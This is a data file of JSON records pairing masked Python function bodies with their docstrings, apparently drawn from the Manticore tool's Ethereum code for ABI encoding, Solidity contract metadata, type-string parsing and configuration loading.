{"signature": "@staticmethod<EOL><INDENT>def _in_user_func(state):<DEDENT>", "body": "<EOL>in_function = state.context.get('<STR_LIT>', False)<EOL>prev_tx_count = state.context.get('<STR_LIT>', <NUM_LIT:0>)<EOL>curr_tx_count = len(state.platform.transactions)<EOL>new_human_tx = prev_tx_count != curr_tx_count<EOL>if in_function and not new_human_tx:<EOL><INDENT>return True<EOL><DEDENT>in_function = len(state.solve_n(state.platform.current_transaction.data[:<NUM_LIT:4>], <NUM_LIT:2>)) == <NUM_LIT:1><EOL>state.context['<STR_LIT>'] = in_function<EOL>state.context['<STR_LIT>'] = curr_tx_count<EOL>return in_function<EOL>", "docstring": ":param state: current state\n:return: whether the current execution is in a user-defined function or not.\n\nNOTE / TODO / FIXME: As this may produce false postives, this is not in the base `Detector` class.\nIt should be fixed at some point and moved there. See below.\n\nThe first 4 bytes of tx data is keccak256 hash of the function signature that is called by given tx.\n\nAll transactions start within Solidity dispatcher function: it takes passed hash and dispatches\nthe execution to given function based on it.\n\nSo: if we are in the dispatcher, *and contract have some functions* one of the first four tx data bytes\nwill effectively have more than one solutions.\n\nBUT if contract have only a fallback function, the equation below may return more solutions when we are\nin a dispatcher function.  <--- because of that, we warn that the detector is not that stable\nfor contracts with only a fallback function.", "id": "f16999:c13:m1"}
{"signature": "@staticmethod<EOL><INDENT>def function_signature_for_name_and_inputs(name: str, inputs: Sequence[Mapping[str, Any]]) -> str:<DEDENT>", "body": "return name + SolidityMetadata.tuple_signature_for_components(inputs)<EOL>", "docstring": "Returns the function signature for the specified name and Solidity JSON metadata inputs array.\n\n        The ABI specification defines the function signature as the function name followed by the parenthesised list of\n        parameter types separated by single commas and no spaces.\n        See https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector", "id": "f17001:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def tuple_signature_for_components(components: Sequence[Mapping[str, Any]]) -> str:<DEDENT>", "body": "ts = []<EOL>for c in components:<EOL><INDENT>t: str = c['<STR_LIT:type>']<EOL>if t.startswith('<STR_LIT>'):<EOL><INDENT>assert len(t) == <NUM_LIT:5> or t[<NUM_LIT:5>] == '<STR_LIT:[>'<EOL>t = SolidityMetadata.tuple_signature_for_components(c['<STR_LIT>']) + t[<NUM_LIT:5>:]<EOL><DEDENT>ts.append(t)<EOL><DEDENT>return f'<STR_LIT>'<EOL>", "docstring": "Equivalent to ``function_signature_for_name_and_inputs('', components)``.", "id": "f17001:c0:m1"}
{"signature": "def __init__(self, name, source_code, init_bytecode, runtime_bytecode, srcmap, srcmap_runtime, hashes, abi, warnings):", "body": "self.name = name<EOL>if isinstance(source_code, bytes):<EOL><INDENT>source_code = source_code.decode()<EOL><DEDENT>self.source_code = source_code<EOL>self._init_bytecode = init_bytecode<EOL>self._runtime_bytecode = runtime_bytecode<EOL>self._function_signatures_by_selector = {bytes.fromhex(sel): sig for sig, sel in hashes.items()}<EOL>fallback_selector = b'<STR_LIT>'<EOL>while fallback_selector in self._function_signatures_by_selector:<EOL><INDENT>fallback_selector = (int.from_bytes(fallback_selector, '<STR_LIT>') + <NUM_LIT:1>).to_bytes(<NUM_LIT:4>, '<STR_LIT>')<EOL><DEDENT>self._fallback_function_selector = fallback_selector<EOL>self._constructor_abi_item = None<EOL>self._fallback_function_abi_item = None<EOL>function_items = {}<EOL>event_items = {}<EOL>for item in abi:<EOL><INDENT>type = item['<STR_LIT:type>']<EOL>if type == '<STR_LIT>':<EOL><INDENT>signature = self.function_signature_for_name_and_inputs(item['<STR_LIT:name>'], item['<STR_LIT>'])<EOL>function_items[signature] = item<EOL><DEDENT>elif type == '<STR_LIT>':<EOL><INDENT>signature = self.function_signature_for_name_and_inputs(item['<STR_LIT:name>'], item['<STR_LIT>'])<EOL>event_items[signature] = item<EOL><DEDENT>elif type == '<STR_LIT>':<EOL><INDENT>assert not self._constructor_abi_item, \"<STR_LIT>\"<EOL>self._constructor_abi_item = item<EOL><DEDENT>elif type == '<STR_LIT>':<EOL><INDENT>assert not self._fallback_function_abi_item, \"<STR_LIT>\"<EOL>self._fallback_function_abi_item = item<EOL><DEDENT><DEDENT>self._function_abi_items_by_signature = function_items<EOL>self._event_abi_items_by_signature = event_items<EOL>self.warnings = warnings<EOL>self.srcmap_runtime = self.__build_source_map(self.runtime_bytecode, srcmap_runtime)<EOL>self.srcmap = self.__build_source_map(self.init_bytecode, srcmap)<EOL>", "docstring": "Contract metadata for Solidity-based contracts", "id": "f17001:c0:m2"}
{"signature": "def get_constructor_arguments(self) -> str:", "body": "item = self._constructor_abi_item<EOL>return '<STR_LIT>' if item is None else self.tuple_signature_for_components(item['<STR_LIT>'])<EOL>", "docstring": "Returns the tuple type signature for the arguments of the contract constructor.", "id": "f17001:c0:m3"}
{"signature": "def get_source_for(self, asm_offset, runtime=True):", "body": "srcmap = self.get_srcmap(runtime)<EOL>try:<EOL><INDENT>beg, size, _, _ = srcmap[asm_offset]<EOL><DEDENT>except KeyError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>output = '<STR_LIT>'<EOL>nl = self.source_code[:beg].count('<STR_LIT:\\n>') + <NUM_LIT:1><EOL>snippet = self.source_code[beg:beg + size]<EOL>for l in snippet.split('<STR_LIT:\\n>'):<EOL><INDENT>output += '<STR_LIT>' % (nl, l)<EOL>nl += <NUM_LIT:1><EOL><DEDENT>return output<EOL>", "docstring": "Solidity source code snippet related to `asm_pos` evm bytecode offset.\n            If runtime is False, initialization bytecode source map is used", "id": "f17001:c0:m8"}
{"signature": "@property<EOL><INDENT>def signatures(self) -> Dict[bytes, str]:<DEDENT>", "body": "return dict(self._function_signatures_by_selector)<EOL>", "docstring": "Returns a new dict mapping contract function selectors to the function signatures.\n\n        The dict does not include an item for the default or non-default fallback function.", "id": "f17001:c0:m10"}
{"signature": "@property<EOL><INDENT>def has_non_default_constructor(self) -> bool:<DEDENT>", "body": "return self._fallback_function_abi_item is not None<EOL>", "docstring": "Indicates whether the contract has an explicitly defined constructor.", "id": "f17001:c0:m11"}
{"signature": "@property<EOL><INDENT>def constructor_abi(self) -> Dict[str, Any]:<DEDENT>", "body": "item = self._constructor_abi_item<EOL>if item:<EOL><INDENT>return dict(item)<EOL><DEDENT>return {'<STR_LIT>': [], '<STR_LIT>': False, '<STR_LIT>': '<STR_LIT>', '<STR_LIT:type>': '<STR_LIT>'}<EOL>", "docstring": "Returns a copy of the Solidity JSON ABI item for the contract constructor.\n\n        The content of the returned dict is described at https://solidity.readthedocs.io/en/latest/abi-spec.html#json_", "id": "f17001:c0:m12"}
{"signature": "def get_abi(self, hsh: bytes) -> Dict[str, Any]:", "body": "if not isinstance(hsh, (bytes, bytearray)):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>sig = self._function_signatures_by_selector.get(hsh)<EOL>if sig is not None:<EOL><INDENT>return dict(self._function_abi_items_by_signature[sig])<EOL><DEDENT>item = self._fallback_function_abi_item<EOL>if item is not None:<EOL><INDENT>return dict(item)<EOL><DEDENT>return {'<STR_LIT>': False, '<STR_LIT>': '<STR_LIT>', '<STR_LIT:type>': '<STR_LIT>'}<EOL>", "docstring": "Returns a copy of the Solidity JSON ABI item for the function associated with the selector ``hsh``.\n\n        If no normal contract function has the specified selector, a dict describing the default or non-default\n        fallback function is returned.\n\n        The content of the returned dict is described at https://solidity.readthedocs.io/en/latest/abi-spec.html#json_", "id": "f17001:c0:m13"}
{"signature": "def get_func_argument_types(self, hsh: bytes):", "body": "if not isinstance(hsh, (bytes, bytearray)):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>sig = self._function_signatures_by_selector.get(hsh)<EOL>return '<STR_LIT>' if sig is None else sig[sig.find('<STR_LIT:(>'):]<EOL>", "docstring": "Returns the tuple type signature for the arguments of the function associated with the selector ``hsh``.\n\n        If no normal contract function has the specified selector,\n        the empty tuple type signature ``'()'`` is returned.", "id": "f17001:c0:m14"}
{"signature": "def get_func_return_types(self, hsh: bytes) -> str:", "body": "if not isinstance(hsh, (bytes, bytearray)):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>abi = self.get_abi(hsh)<EOL>outputs = abi.get('<STR_LIT>')<EOL>return '<STR_LIT>' if outputs is None else SolidityMetadata.tuple_signature_for_components(outputs)<EOL>", "docstring": "Returns the tuple type signature for the output values of the function\n        associated with the selector ``hsh``.\n\n        If no normal contract function has the specified selector,\n        the empty tuple type signature ``'()'`` is returned.", "id": "f17001:c0:m15"}
{"signature": "def get_func_name(self, hsh: bytes) -> str:", "body": "if not isinstance(hsh, (bytes, bytearray)):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>sig = self._function_signatures_by_selector.get(hsh)<EOL>return '<STR_LIT>' if sig is None else sig[:sig.find('<STR_LIT:(>')]<EOL>", "docstring": "Returns the name of the normal function with the selector ``hsh``,\n        or ``'{fallback}'`` if no such function exists.", "id": "f17001:c0:m16"}
{"signature": "def get_func_signature(self, hsh: bytes) -> Optional[str]:", "body": "if not isinstance(hsh, (bytes, bytearray)):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return self._function_signatures_by_selector.get(hsh)<EOL>", "docstring": "Returns the signature of the normal function with the selector ``hsh``,\n        or ``None`` if no such function exists.\n\n        This function returns ``None`` for any selector that will be dispatched to a fallback function.", "id": "f17001:c0:m17"}
{"signature": "@property<EOL><INDENT>def function_signatures(self) -> Iterable[str]:<DEDENT>", "body": "return self._function_signatures_by_selector.values()<EOL>", "docstring": "The signatures of all normal contract functions.", "id": "f17001:c0:m19"}
{"signature": "@property<EOL><INDENT>@deprecated(\"<STR_LIT>\")<EOL>def functions(self) -> Tuple[str, ...]:<DEDENT>", "body": "return (*self._function_signatures_by_selector.values(), '<STR_LIT>')<EOL>", "docstring": "The signatures of all normal contract functions, plus the ``'{fallback}()'`` pseudo-signature.", "id": "f17001:c0:m20"}
{"signature": "@property<EOL><INDENT>def has_non_default_fallback_function(self) -> bool:<DEDENT>", "body": "return self._fallback_function_abi_item is not None<EOL>", "docstring": "Indicates whether the contract has an explicitly defined fallback function.", "id": "f17001:c0:m21"}
{"signature": "@property<EOL><INDENT>def fallback_function_selector(self) -> bytes:<DEDENT>", "body": "return self._fallback_function_selector<EOL>", "docstring": "A function selector not associated with any of the non-fallback contract functions.\n\n        This selector is almost always ``b'\\0\\0\\0\\0'``.", "id": "f17001:c0:m22"}
{"signature": "@property<EOL><INDENT>def function_selectors(self) -> Iterable[bytes]:<DEDENT>", "body": "selectors = self._function_signatures_by_selector.keys()<EOL>if self._fallback_function_abi_item is None:<EOL><INDENT>return tuple(selectors)<EOL><DEDENT>return (*selectors, self.fallback_function_selector)<EOL>", "docstring": "The selectors of all normal contract functions,\n        plus ``self.fallback_function_selector`` if the contract has a non-default fallback function.", "id": "f17001:c0:m23"}
{"signature": "@property<EOL><INDENT>@deprecated(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>def hashes(self) -> Tuple[bytes, ...]:<DEDENT>", "body": "selectors = self._function_signatures_by_selector.keys()<EOL>return (*selectors, self.fallback_function_selector)<EOL>", "docstring": "The selectors of all normal contract functions, plus ``self.fallback_function_selector``.", "id": "f17001:c0:m24"}
{"signature": "def __init__(self, address=None, manticore=None, name=None):", "body": "self._manticore = manticore<EOL>self._address = address<EOL>self._name = name<EOL>", "docstring": "Encapsulates an account.\n\n:param address: the address of this account\n:type address: 160 bit long integer\n:param manticore: the controlling Manticore", "id": "f17003:c0:m0"}
{"signature": "@property<EOL><INDENT>def name_(self):<DEDENT>", "body": "return self._name<EOL>", "docstring": "This is named this way to avoid naming collisions with Solidity functions/data,\nsince EVMContract inherits this.", "id": "f17003:c0:m2"}
{"signature": "def __init__(self, default_caller=None, **kwargs):", "body": "super().__init__(**kwargs)<EOL>self.__default_caller = default_caller<EOL>self.__hashes = {}<EOL>self.__initialized = False<EOL>", "docstring": "Encapsulates a contract account.\n\n:param default_caller: the default caller address for any transaction", "id": "f17003:c1:m0"}
{"signature": "def __getattr__(self, name):", "body": "if not self.__initialized:<EOL><INDENT>self.__init_hashes()<EOL><DEDENT>if name in self.__hashes:<EOL><INDENT>def f(*args, signature: Optional[str]=None, caller=None, value=<NUM_LIT:0>, gas=<NUM_LIT>, **kwargs):<EOL><INDENT>try:<EOL><INDENT>if signature:<EOL><INDENT>if f'<STR_LIT>' not in {entry.signature for entries in self.__hashes.values() for entry in entries}:<EOL><INDENT>raise EthereumError(<EOL>f'<STR_LIT>'<EOL>f'<STR_LIT>')<EOL><DEDENT>tx_data = ABI.function_call(f'<STR_LIT>', *args)<EOL><DEDENT>else:<EOL><INDENT>entries = self.__hashes[name]<EOL>if len(entries) > <NUM_LIT:1>:<EOL><INDENT>sig = entries[<NUM_LIT:0>].signature[len(name):]<EOL>raise EthereumError(<EOL>f'<STR_LIT>'<EOL>f'<STR_LIT>'<EOL>f'<STR_LIT>')<EOL><DEDENT>tx_data = ABI.function_call(str(entries[<NUM_LIT:0>].signature), *args)<EOL><DEDENT><DEDENT>except KeyError as e:<EOL><INDENT>raise e<EOL><DEDENT>if caller is None:<EOL><INDENT>caller = self.__default_caller<EOL><DEDENT>self._manticore.transaction(caller=caller,<EOL>address=self._address,<EOL>value=value,<EOL>data=tx_data,<EOL>gas=gas)<EOL><DEDENT>return f<EOL><DEDENT>raise AttributeError(f\"<STR_LIT>\")<EOL>", "docstring": "If this is a contract account of which we know the functions hashes,\nthis will build the transaction for the function call.\n\nExample use:\n    # call function `add` on contract_account with argument `1000`\n    contract_account.add(1000)", "id": "f17003:c1:m3"}
{"signature": "def t_NUMBER(t):", "body": "t.value = int(t.value)<EOL>return t<EOL>", "docstring": "r\"\\d+", "id": "f17004:m0"}
{"signature": "def t_UINTN(t):", "body": "size = int(t.lexer.lexmatch.group('<STR_LIT:size>'))<EOL>t.value = ('<STR_LIT>', size)<EOL>return t<EOL>", "docstring": "r\"uint(?P<size>256|248|240|232|224|216|208|200|192|184|176|168|160|152|144|136|128|120|112|104|96|88|80|72|64|56|48|40|32|24|16|8)", "id": "f17004:m1"}
{"signature": "def t_ADDRESS(t):", "body": "t.value = ('<STR_LIT>', <NUM_LIT>)<EOL>return t<EOL>", "docstring": "r\"address", "id": "f17004:m2"}
{"signature": "def t_BOOL(t):", "body": "t.value = ('<STR_LIT>', <NUM_LIT:8>)<EOL>return t<EOL>", "docstring": "r\"bool", "id": "f17004:m3"}
{"signature": "def t_UINT(t):", "body": "t.value = ('<STR_LIT>', <NUM_LIT>)<EOL>return t<EOL>", "docstring": "r\"uint", "id": "f17004:m4"}
{"signature": "def t_INTN(t):", "body": "size = int(t.lexer.lexmatch.group('<STR_LIT:size>'))<EOL>t.value = ('<STR_LIT:int>', size)<EOL>return t<EOL>", "docstring": "r\"int(?P<size>256|248|240|232|224|216|208|200|192|184|176|168|160|152|144|136|128|120|112|104|96|88|80|72|64|56|48|40|32|24|16|8)", "id": "f17004:m5"}
{"signature": "def t_INT(t):", "body": "t.value = ('<STR_LIT:int>', <NUM_LIT>)<EOL>return t<EOL>", "docstring": "r\"int", "id": "f17004:m6"}
{"signature": "def t_FIXEDMN(t):", "body": "M = int(t.lexer.lexmatch.group('<STR_LIT:M>'))<EOL>N = int(t.lexer.lexmatch.group('<STR_LIT:N>'))<EOL>t.value = (\"<STR_LIT>\", M, N)<EOL>return t<EOL>", "docstring": "r\"^fixed(?P<M>256|248|240|232|224|216|208|200|192|184|176|168|160|152|144|136|128|120|112|104|96|88|80|72|64|56|48|40|32|24|16|8)x(?P<N>80|79|78|77|76|75|74|73|72|71|70|69|68|67|66|65|64|63|62|61|60|59|58|57|56|55|54|53|52|51|50|49|48|47|46|45|44|43|42|41|40|39|38|37|36|35|34|33|32|31|30|29|28|27|26|25|24|23|22|21|20|19|18|17|16|15|14|13|12|11|10|9|8|7|6|5|4|3|2|1)", "id": "f17004:m7"}
{"signature": "def t_FIXED(t):", "body": "t.value = ('<STR_LIT>', <NUM_LIT>, <NUM_LIT>)<EOL>return t<EOL>", "docstring": "r\"fixed", "id": "f17004:m8"}
{"signature": "def t_UFIXEDMN(t):", "body": "M = int(t.lexer.lexmatch.group('<STR_LIT:M>'))<EOL>N = int(t.lexer.lexmatch.group('<STR_LIT:N>'))<EOL>t.value = (\"<STR_LIT>\", M, N)<EOL>return t<EOL>", "docstring": "r\"ufixed(?P<M>256|248|240|232|224|216|208|200|192|184|176|168|160|152|144|136|128|120|112|104|96|88|80|72|64|56|48|40|32|24|16|8)x(?P<N>80|79|78|77|76|75|74|73|72|71|70|69|68|67|66|65|64|63|62|61|60|59|58|57|56|55|54|53|52|51|50|49|48|47|46|45|44|43|42|41|40|39|38|37|36|35|34|33|32|31|30|29|28|27|26|25|24|23|22|21|20|19|18|17|16|15|14|13|12|11|10|9|8|7|6|5|4|3|2|1)", "id": "f17004:m9"}
{"signature": "def t_UFIXED(t):", "body": "t.value = ('<STR_LIT>', <NUM_LIT>, <NUM_LIT>)<EOL>return t<EOL>", "docstring": "r\"ufixed", "id": "f17004:m10"}
{"signature": "def t_BYTESM(t):", "body": "size = int(t.lexer.lexmatch.group('<STR_LIT>'))<EOL>t.value = ('<STR_LIT>', size)<EOL>return t<EOL>", "docstring": "r\"bytes(?P<nbytes>32|31|30|29|28|27|26|25|24|23|22|21|20|19|18|17|16|15|14|13|12|11|10|9|8|7|6|5|4|3|2|1)", "id": "f17004:m11"}
{"signature": "def t_BYTES(t):", "body": "t.value = ('<STR_LIT>',)<EOL>return t<EOL>", "docstring": "r\"bytes", "id": "f17004:m12"}
{"signature": "def t_STRING(t):", "body": "t.value = ('<STR_LIT:string>',)<EOL>return t<EOL>", "docstring": "r\"string", "id": "f17004:m13"}
{"signature": "def t_FUNCTION(t):", "body": "t.value = ('<STR_LIT>',)<EOL>return t<EOL>", "docstring": "r\"function", "id": "f17004:m14"}
{"signature": "def p_basic_type(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "T : UINTN\nT : UINT\nT : INTN\nT : INT\nT : ADDRESS\nT : BOOL\nT : FIXEDMN\nT : UFIXEDMN\nT : FIXED\nT : UFIXED\nT : BYTESM\nT : FUNCTION\nT : BYTES\nT : STRING", "id": "f17004:m16"}
{"signature": "def p_type_list_one(p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>],)<EOL>", "docstring": "TL : T", "id": "f17004:m17"}
{"signature": "def p_type_list(p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>],) + p[<NUM_LIT:3>]<EOL>", "docstring": "TL : T COMMA TL", "id": "f17004:m18"}
{"signature": "def p_tuple(p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:2>])<EOL>", "docstring": "T : LPAREN TL RPAREN", "id": "f17004:m19"}
{"signature": "def p_tuple_empty(p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', ())<EOL>", "docstring": "T : LPAREN RPAREN", "id": "f17004:m20"}
{"signature": "def p_dynamic_type(p):", "body": "reps = None<EOL>base_type = p[<NUM_LIT:1>]<EOL>p[<NUM_LIT:0>] = ('<STR_LIT>', reps, base_type)<EOL>", "docstring": "T : T LBRAKET RBRAKET", "id": "f17004:m21"}
{"signature": "def p_dynamic_fixed_type(p):", "body": "reps = int(p[<NUM_LIT:3>])<EOL>base_type = p[<NUM_LIT:1>]<EOL>p[<NUM_LIT:0>] = ('<STR_LIT>', reps, base_type)<EOL>", "docstring": "T : T LBRAKET NUMBER RBRAKET", "id": "f17004:m22"}
{"signature": "@staticmethod<EOL><INDENT>def _type_size(ty):<DEDENT>", "body": "if ty[<NUM_LIT:0>] in ('<STR_LIT:int>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return <NUM_LIT:32><EOL><DEDENT>elif ty[<NUM_LIT:0>] in ('<STR_LIT>'):<EOL><INDENT>result = <NUM_LIT:0><EOL>for ty_i in ty[<NUM_LIT:1>]:<EOL><INDENT>result += ABI._type_size(ty_i)<EOL><DEDENT>return result<EOL><DEDENT>elif ty[<NUM_LIT:0>] in ('<STR_LIT>'):<EOL><INDENT>rep = ty[<NUM_LIT:1>]<EOL>result = <NUM_LIT:32>  <EOL>return result<EOL><DEDENT>elif ty[<NUM_LIT:0>] in ('<STR_LIT>', '<STR_LIT:string>'):<EOL><INDENT>result = <NUM_LIT:32>  <EOL>return result<EOL><DEDENT>raise ValueError<EOL>", "docstring": "Calculate `static` type size", "id": "f17007:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def function_call(type_spec, *args):<DEDENT>", "body": "m = re.match(r\"<STR_LIT>\", type_spec)<EOL>if not m:<EOL><INDENT>raise EthereumError(\"<STR_LIT>\")<EOL><DEDENT>ABI._check_and_warn_num_args(type_spec, *args)<EOL>result = ABI.function_selector(type_spec)  <EOL>result += ABI.serialize(m.group('<STR_LIT:type>'), *args)<EOL>return result<EOL>", "docstring": "Build transaction data from function signature and arguments", "id": "f17007:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def serialize(ty, *values, **kwargs):<DEDENT>", "body": "try:<EOL><INDENT>parsed_ty = abitypes.parse(ty)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise EthereumError(str(e))<EOL><DEDENT>if parsed_ty[<NUM_LIT:0>] != '<STR_LIT>':<EOL><INDENT>if len(values) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>values = values[<NUM_LIT:0>]<EOL>if isinstance(values, str):<EOL><INDENT>values = values.encode()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>values = tuple(val.encode() if isinstance(val, str) else val for val in values)<EOL><DEDENT>result, dyn_result = ABI._serialize(parsed_ty, values)<EOL>return result + dyn_result<EOL>", "docstring": "Serialize value using type specification in ty.\nABI.serialize('int256', 1000)\nABI.serialize('(int, int256)', 1000, 2000)", "id": "f17007:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _serialize_bytes(value):<DEDENT>", "body": "return value + bytearray(b'<STR_LIT:\\x00>' * (<NUM_LIT:32> - len(value)))<EOL>", "docstring": "Serializes the value and pads to multiple of 32 bytes\n\n:param value:\n:type value: str or bytearray or Array", "id": "f17007:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def function_selector(method_name_and_signature):<DEDENT>", "body": "s = sha3.keccak_256()<EOL>s.update(method_name_and_signature.encode())<EOL>return bytes(s.digest()[:<NUM_LIT:4>])<EOL>", "docstring": "Makes a function hash id from a method signature", "id": "f17007:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def _serialize_uint(value, size=<NUM_LIT:32>, padding=<NUM_LIT:0>):<DEDENT>", "body": "if size <= <NUM_LIT:0> or size > <NUM_LIT:32>:<EOL><INDENT>raise ValueError<EOL><DEDENT>from .account import EVMAccount  <EOL>if not isinstance(value, (int, BitVec, EVMAccount)):<EOL><INDENT>raise ValueError<EOL><DEDENT>if issymbolic(value):<EOL><INDENT>bytes = ArrayVariable(index_bits=<NUM_LIT>, index_max=<NUM_LIT:32>, value_bits=<NUM_LIT:8>, name='<STR_LIT>'.format(uuid.uuid1()))<EOL>if value.size <= size * <NUM_LIT:8>:<EOL><INDENT>value = Operators.ZEXTEND(value, size * <NUM_LIT:8>)<EOL><DEDENT>else:<EOL><INDENT>value = Operators.EXTRACT(value, <NUM_LIT:0>, size * <NUM_LIT:8>)<EOL><DEDENT>bytes = ArrayProxy(bytes.write_BE(padding, value, size))<EOL><DEDENT>else:<EOL><INDENT>value = int(value)<EOL>bytes = bytearray()<EOL>for _ in range(padding):<EOL><INDENT>bytes.append(<NUM_LIT:0>)<EOL><DEDENT>for position in reversed(range(size)):<EOL><INDENT>bytes.append(Operators.EXTRACT(value, position * <NUM_LIT:8>, <NUM_LIT:8>))<EOL><DEDENT><DEDENT>assert len(bytes) == size + padding<EOL>return bytes<EOL>", "docstring": "Translates a python integral or a BitVec into a 32 byte string, MSB first", "id": "f17007:c0:m11"}
{"signature": "@staticmethod<EOL><INDENT>def _serialize_int(value, size=<NUM_LIT:32>, padding=<NUM_LIT:0>):<DEDENT>", "body": "if size <= <NUM_LIT:0> or size > <NUM_LIT:32>:<EOL><INDENT>raise ValueError<EOL><DEDENT>if not isinstance(value, (int, BitVec)):<EOL><INDENT>raise ValueError<EOL><DEDENT>if issymbolic(value):<EOL><INDENT>buf = ArrayVariable(index_bits=<NUM_LIT>, index_max=<NUM_LIT:32>, value_bits=<NUM_LIT:8>, name='<STR_LIT>'.format(uuid.uuid1()))<EOL>value = Operators.SEXTEND(value, value.size, size * <NUM_LIT:8>)<EOL>buf = ArrayProxy(buf.write_BE(padding, value, size))<EOL><DEDENT>else:<EOL><INDENT>value = int(value)<EOL>buf = bytearray()<EOL>for _ in range(padding):<EOL><INDENT>buf.append(<NUM_LIT:0>)<EOL><DEDENT>for position in reversed(range(size)):<EOL><INDENT>buf.append(Operators.EXTRACT(value, position * <NUM_LIT:8>, <NUM_LIT:8>))<EOL><DEDENT><DEDENT>return buf<EOL>", "docstring": "Translates a signed python integral or a BitVec into a 32 byte string, MSB first", "id": "f17007:c0:m12"}
{"signature": "@staticmethod<EOL><INDENT>def _readBE(data, nbytes, padding=False, offset=<NUM_LIT:0>):<DEDENT>", "body": "start = offset<EOL>size = nbytes<EOL>if padding:<EOL><INDENT>start += <NUM_LIT:32> - nbytes<EOL><DEDENT>pos = start<EOL>values = []<EOL>while pos < start + size:<EOL><INDENT>if pos >= len(data):<EOL><INDENT>values.append(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>values.append(data[pos])<EOL><DEDENT>pos += <NUM_LIT:1><EOL><DEDENT>return Operators.CONCAT(nbytes * <NUM_LIT:8>, *values)<EOL>", "docstring": ":param data:\n:param nbytes:\n:param padding: If True, treat data as padded at the beginning to multiple of 32\n:param offset:\n:return:", "id": "f17007:c0:m13"}
{"signature": "@staticmethod<EOL><INDENT>def _deserialize_uint(data, nbytes=<NUM_LIT:32>, padding=<NUM_LIT:0>, offset=<NUM_LIT:0>):<DEDENT>", "body": "assert isinstance(data, (bytearray, Array))<EOL>value = ABI._readBE(data, nbytes, padding=True, offset=offset)<EOL>value = Operators.ZEXTEND(value, (nbytes + padding) * <NUM_LIT:8>)<EOL>return value<EOL>", "docstring": "Read a `nbytes` bytes long big endian unsigned integer from `data` starting at `offset`\n\n:param data: sliceable buffer; symbolic buffer of Eth ABI encoded data\n:param nbytes: number of bytes to read starting from least significant byte\n:rtype: int or Expression", "id": "f17007:c0:m14"}
{"signature": "@staticmethod<EOL><INDENT>def _deserialize_int(data, nbytes=<NUM_LIT:32>, padding=<NUM_LIT:0>):<DEDENT>", "body": "assert isinstance(data, (bytearray, Array))<EOL>value = ABI._readBE(data, nbytes, padding=True)<EOL>value = Operators.SEXTEND(value, nbytes * <NUM_LIT:8>, (nbytes + padding) * <NUM_LIT:8>)<EOL>if not issymbolic(value):<EOL><INDENT>if value & (<NUM_LIT:1> << (nbytes * <NUM_LIT:8> - <NUM_LIT:1>)):<EOL><INDENT>value = -(((~value) + <NUM_LIT:1>) & ((<NUM_LIT:1> << (nbytes * <NUM_LIT:8>)) - <NUM_LIT:1>))<EOL><DEDENT><DEDENT>return value<EOL>", "docstring": "Read a `nbytes` bytes long big endian signed integer from `data` starting at `offset`\n\n:param data: sliceable buffer; symbolic buffer of Eth ABI encoded data\n:param nbytes: number of bytes to read starting from least significant byte\n:rtype: int or Expression", "id": "f17007:c0:m15"}
{"signature": "def get_group(name: str) -> _Group:", "body": "global _groups<EOL>if name in _groups:<EOL><INDENT>return _groups[name]<EOL><DEDENT>group = _Group(name)<EOL>_groups[name] = group<EOL>return group<EOL>", "docstring": "Get a configuration variable group named |name|", "id": "f17008:m0"}
{"signature": "def save(f):", "body": "global _groups<EOL>c = {}<EOL>for group_name, group in _groups.items():<EOL><INDENT>section = {var.name: var.value for var in group.updated_vars()}<EOL>if not section:<EOL><INDENT>continue<EOL><DEDENT>c[group_name] = section<EOL><DEDENT>yaml.safe_dump(c, f, line_break=True)<EOL>", "docstring": "Save current config state to an yml file stream identified by |f|\n\n:param f: where to write the config file", "id": "f17008:m1"}
{"signature": "def parse_config(f):", "body": "try:<EOL><INDENT>c = yaml.safe_load(f)<EOL>for section_name, section in c.items():<EOL><INDENT>group = get_group(section_name)<EOL>for key, val in section.items():<EOL><INDENT>group.update(key)<EOL>setattr(group, key, val)<EOL><DEDENT><DEDENT><DEDENT>except Exception:<EOL><INDENT>raise ConfigError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Load an yml-formatted configuration from file stream |f|\n\n:param file f: Where to read the config.", "id": "f17008:m2"}
{"signature": "def load_overrides(path=None):", "body": "if path is not None:<EOL><INDENT>names = [path]<EOL><DEDENT>else:<EOL><INDENT>possible_names = ['<STR_LIT>', '<STR_LIT>']<EOL>names = [os.path.join('<STR_LIT:.>', '<STR_LIT>'.join(x)) for x in product(['<STR_LIT>', '<STR_LIT:.>'], possible_names)]<EOL><DEDENT>for name in names:<EOL><INDENT>try:<EOL><INDENT>with open(name, '<STR_LIT:r>') as yml_f:<EOL><INDENT>logger.info(f'<STR_LIT>')<EOL>parse_config(yml_f)<EOL><DEDENT>break<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if path is not None:<EOL><INDENT>raise FileNotFoundError(f\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Load config overrides from the yml file at |path|, or from default paths. If a path\nis provided and it does not exist, raise an exception\n\nDefault paths: ./mcore.yml, ./.mcore.yml, ./manticore.yml, ./.manticore.yml.", "id": "f17008:m3"}
